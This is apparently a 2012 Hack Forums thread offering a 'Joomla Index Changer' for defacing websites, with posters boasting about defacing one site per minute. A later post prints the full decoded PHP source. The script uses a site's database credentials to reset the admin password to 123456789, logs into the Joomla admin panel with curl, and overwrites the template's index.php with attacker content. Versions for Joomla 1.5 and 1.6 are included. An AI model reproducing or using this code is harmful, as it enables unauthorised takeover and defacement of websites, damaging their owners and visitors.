

Forum:[Hack Forums](#)

Thread: [Joomla Index Changer \[Change joomla site index by Db\]](#)

The Decoder - August 28, 2012, 2:16 am

Well this script help u to deface a joomla site without shelling (in symlink)
just fill the fields and deface main page of site

download: <http://www.sendspace.com/file/9h5fz0>
??

Jae? - August 28, 2012, 5:33 am

Adding more information to the thread about it would be nice. Right now
it's looking a bit sketchy, but what do I know? Everyone have fun with it.

unkn0wn r00t3r - August 28, 2012, 5:53 am

I vouched for this Jm index changer script ... :D
we can deface 1 joomla site per minute in symlinking .

The Decoder - August 28, 2012, 8:30 am

(Aug 28, 2012 05:33 AM)Jewel Wrote: [\[CITE\]](#) Adding more information to the thread about it would
be nice. Right now
it's looking a bit sketchy, but what do I know? Everyone have fun with it.
as u wish bro....it will help many broz

aioriamx - August 28, 2012, 10:20 am

THIS LOOK SO GOOD IM GOING TO TRY SOMEONE

NewbieB00ter - August 28, 2012, 11:27 pm

What is inside the sip file? any virus scan?

The Decoder - August 29, 2012, 5:16 am

(Aug 28, 2012 11:27 PM)NewbieB00ter Wrote: [\[CITE\]](#) What is inside the sip file? any virus scan?its
zip not sip :P
there is no virus only 1 php file

Virus04 - August 29, 2012, 7:00 am

im newbie thats why i dont know how to use that..can you make a quik TUT ..??
(Sorry for my bad English)

Th3PonyWizard - August 29, 2012, 7:21 am

decoded..

PHP Code

```
<?php
```

```
if ($_POST['form_action'])
```

```
{
```

```
$h="<? echo(stripslashes(base64_decode('').urlencode(base64_encode(str_replace('','',($_POST[  
'code']))))).'')); exit; ?>";
```

```

$dbprefix=($_POST['db_prefix']);
$username=($_POST['db_username']);
$password=($_POST['db_password']);
$dbname=($_POST['db_name']);
$site_url=($_POST['site_url']);

$co=randommt();

$link=mysql_connect("localhost",$username,$password) ;

mysql_select_db($dbname,$link) ;

$tryChangingInfo = mysql_query("UPDATE ".$dbprefix.
"users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thT
Qa2SvBsDqsUENrK0mZtAX");
echo("<br>[+] Changing admin password to 123456789");

$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");

if ( $req )
{
##
## V1.6 ##
##

$req =mysql_query("SELECT * from `".$dbprefix.
"template_styles` WHERE client_id='0' and home='1'");
    $data = mysql_fetch_array($req);
    $template_name=$data["template"];

$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name.'"
");
    $data = mysql_fetch_array($req);
    $template_id=$data["extension_id"];

$url2=$site_url."/index.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);

$buffer = curl_exec($ch);

$return=entre2v2($buffer , '<input type="hidden" name="return" value="", "");
$hidden=entre2v2($buffer , '<input type="hidden" name="", "" value="1", 4);

//
$url2=$site_url."/index.php";

```

```

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".
$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);

```

```

$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
//
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode(
$template_id.".index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);

```

```

$hidden2=entre2v2($buffer , '<input type="hidden" name="" value="1"',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php ..");
$url2=$site_url."/index.php?option=com_templates&layout=edit";

```

```

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=$h.
"&jform[filename]=index.php&jform[extension_id]=$template_id."&".$hidden2.
"=1&task=source.save");

```

```
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
```

```
$pos = strpos($buffer, '<dd class="message message">');
if($pos === false) {
    echo("<br>[-] Updating Index.php Error");
    exit;
}
else {
    echo("<br>[+] Index.php successfully saved");
}
##
## V1.6 END ##
##
```

```
}
else
{
```

```
##
## V1.5 ##
##
```

```
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
```

```
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
```

```
$hidden=entre2v2($buffer , '<input type="hidden" name="" value="1"', 3);
```

```
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
```

```

curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);

$pos = strpos($buffer,"com_config");

if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
//
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id="
$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);

$hidden2=entre2v2($buffer , '<input type="hidden" name="" value="1"',6);

if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}

echo("<br>[*] Updating Index.php ..");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]="
$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);

$pos = strpos($buffer,'<dd class="message message fade">');

```

```

if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[+] Index.php successfully saved");
}
##
## V1.5 END ##
##

}

}

function randomt() {

    $chars = "abcdefghijklmnopqrstuvwxyz023456789";
    srand((double)microtime()*100);
    $i = 0;
    $pass = " ";

    while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
    }

    return $pass;

}

function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)

{

$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
echo "
\n";
echo "<title>Change Joomla Index Coded By RAB3OUN</title>
\n";
echo "<body bgcolor=\"black\">
\n";
echo " <style>
\n";
echo "
\n";
echo

```

```

"BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive; color: white;}
\n";
echo
"textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma;
border: 1px solid #66;}
\n";
echo


```

```
\n";
echo "<TEXTAREA rows=\"18\" cols=\"50\" name=\"code\"></TEXTAREA>
\n";
echo "    <br>
\n";
echo "<INPUT class=submit type=\"submit\" value=\"Submit\" name=\"Submit\">
\n";
echo "</FORM>
\n";
echo
" <center> <font color=\"#FFFF6FF\" size='+1'>  Coded By RAB3OUN v.b-4[ @ ]hotmail.com  </font
><br><br> <center>\n";
?>Seems clean, although a useless tool.
```